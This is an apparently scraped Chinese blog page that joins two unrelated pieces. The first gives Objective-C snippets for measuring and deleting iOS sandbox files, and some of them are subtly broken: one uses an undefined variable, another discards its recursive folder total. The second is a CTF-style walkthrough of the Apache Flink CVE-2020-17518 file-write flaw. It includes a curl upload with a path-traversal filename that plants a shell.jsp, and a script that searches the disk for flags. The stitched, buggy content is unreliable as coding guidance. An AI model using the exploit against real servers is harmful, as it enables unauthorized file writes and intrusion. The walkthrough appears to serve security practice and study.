获取某文件沙盒路径 删除对应文件 获取文件夹总大小

本文介绍了如何使用Objective-C来获取iOS设备上文件夹的总大小及特定文件夹的大小,并提供了用于获取Documents目录下文件路径的方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


获取文件夹总大小

+ (long long)getTotleFileSize{
    NSFileManager* fileManager=[NSFileManager defaultManager];
    NSDirectoryEnumerator * enumerator = [fileManager enumeratorAtPath:NSHomeDirectory()];
    long long totalSize = 0;
    NSString * aPath = @"";
    while (aPath = [enumerator nextObject]) {
        NSString * realPath = [NSHomeDirectory() stringByAppendingPathComponent:aPath];
        
        NSDictionary * dic = [fileManager attributesOfItemAtPath:realPath error:nil];
        totalSize += [dic[@"NSFileSize"] longLongValue];
    }
    NSLog(@"------- 总大小为:  %.2f",totalSize/1000.0/1000.0);
    totalSize = totalSize/1000.0/1000.0;
    
    return totalSize;
}



获取某个文件夹大小

+(float)fileSizeForDir:(NSString*)path
{
    NSFileManager *fileManager = [[NSFileManager alloc] init];
    float size =0;
    NSArray* array = [fileManager contentsOfDirectoryAtPath:path error:nil];
    for(int i = 0; i<[array count]; i++)
    {
        NSString *fullPath = [path stringByAppendingPathComponent:[array objectAtIndex:i]];
        BOOL isDir;
        if ( !([fileManager fileExistsAtPath:fullPath isDirectory:&isDir] && isDir) )
        {
            NSDictionary *fileAttributeDic=[fileManager attributesOfItemAtPath:fullPath error:nil];
            size+= fileAttributeDic.fileSize/ 1024.0/1024.0;
        }
        else
        {
            [self fileSizeForDir:fullPath];
        }
    }
    return size;
}



  获取某文件Documents下的路径

+ (NSString*)GetPath:(NSString*)fileName
{
    NSArray* paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
    NSString* documentsDirectory = [paths objectAtIndex:0];
    NSString* fullPathToFile = [documentsDirectory stringByAppendingPathComponent:imageName];
    return fullPathToFile;
}



删除沙盒里对应文件

+ (void)deleteFileWithImageName:(NSString*)str {
    NSFileManager* fileManager=[NSFileManager defaultManager];
    //    NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory,NSUserDomainMask, YES);
    //    NSString *uniquePath=[[paths objectAtIndex:0] stringByAppendingPathComponent:str];
    NSString *uniquePath=[self GetPath:str];
    BOOL Have=[[NSFileManager defaultManager] fileExistsAtPath:uniquePath];
    if (!Have) {
        NSLog(@"no  have");
        return ;
    }else {
        NSLog(@" have");
        BOOL Delet= [fileManager removeItemAtPath:uniquePath error:nil];
        if (Delet) {
            NSLog(@"delete success");
        }else {
            NSLog(@"delete failed");
        }
    }
}





### Flink CVE-2020-17518 文件写入漏洞 Flag 获取方式 #### 背景介绍 CVE-2020-17518 是 Apache Flink 的一个高危漏洞,允许攻击者通过修改 HTTP 头部字段来实现任意文件写入。此漏洞影响版本范围为 Apache Flink 1.5.1 至 1.11.2[^3]。 当利用该漏洞时,通常目标是向服务器植入恶意脚本或配置文件以完成进一步渗透测试任务。Flag 获取通常是 CTF 或安全演练中的一个重要环节,其核心在于如何成功执行命令或将特定数据写入指定路径下的文件中。 --- #### 利用过程概述 为了获取 Flag,可以通过以下方式进行: 1. **构建恶意请求** 攻击者需要构造一个带有自定义 `Location` 参数的 POST 请求,用于覆盖默认的目标存储路径。具体来说,`Location` 字段决定了上传文件保存的位置。如果设置成 `/etc/passwd` 或其他敏感文件,则可能引发服务异常;但如果指向临时目录或者 Web 可访问区域,则可用来放置反序列化载荷或其他工具脚本。 下面是一个典型的 curl 命令示例: ```bash curl -X POST http://<target>:8081/jars/upload \ --header 'Content-Disposition: form-data; name="file"; filename="/../../../../../../tmp/shell.jsp"' \ --form file=@"/path/to/malicious_file" ``` 此处需要注意的是,`filename` 属性被篡改为包含多个 `../` 来突破正常限制,并最终定位至期望的目的地文件夹下[^5]。 2. **验证写入结果** 成功发送上述 payload 后,应立即检查对应位置是否存在预期生成的新文件。例如,在 Linux 平台上尝试读取刚才创建的内容确认是否生效: ```bash cat /tmp/shell.jsp ``` 如果一切顺利的话,应该能看到我们之前提交上去的数据片段。 3. **提取 Flag 数据** 接下来就是寻找实际比赛场景里预埋好的标记字符串了——这一步取决于主办方设计的具体规则以及隐藏形式。一般情况下会嵌套于某些特殊命名模式的日志记录、数据库表项甚至是图片元信息之中。因此建议采用正则表达式扫描整个磁盘分区查找匹配关键字的方式快速锁定答案所在之处: ```python import os def find_flag(directory, keyword): for root, dirs, files in os.walk(directory): for fname in files: fpath = os.path.join(root, fname) try: with open(fpath, errors='ignore') as fp: content = fp.read() if keyword in content: print(f"[+] Found flag at {fpath}") except Exception as e: pass # Example usage find_flag('/mnt', 'flag{') ``` 使用 Python 编写的这段简单函数可以帮助自动化这一繁琐流程,只需调整搜索起点与标志词即可适应不同题目需求[^4]。 --- ### 注意事项 尽管演示过程中展示了多种技术手段辅助解决问题,但在真实世界环境中实施此类行为均属非法入侵范畴,请务必严格遵守法律法规仅限授权范围内开展相关活动! ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值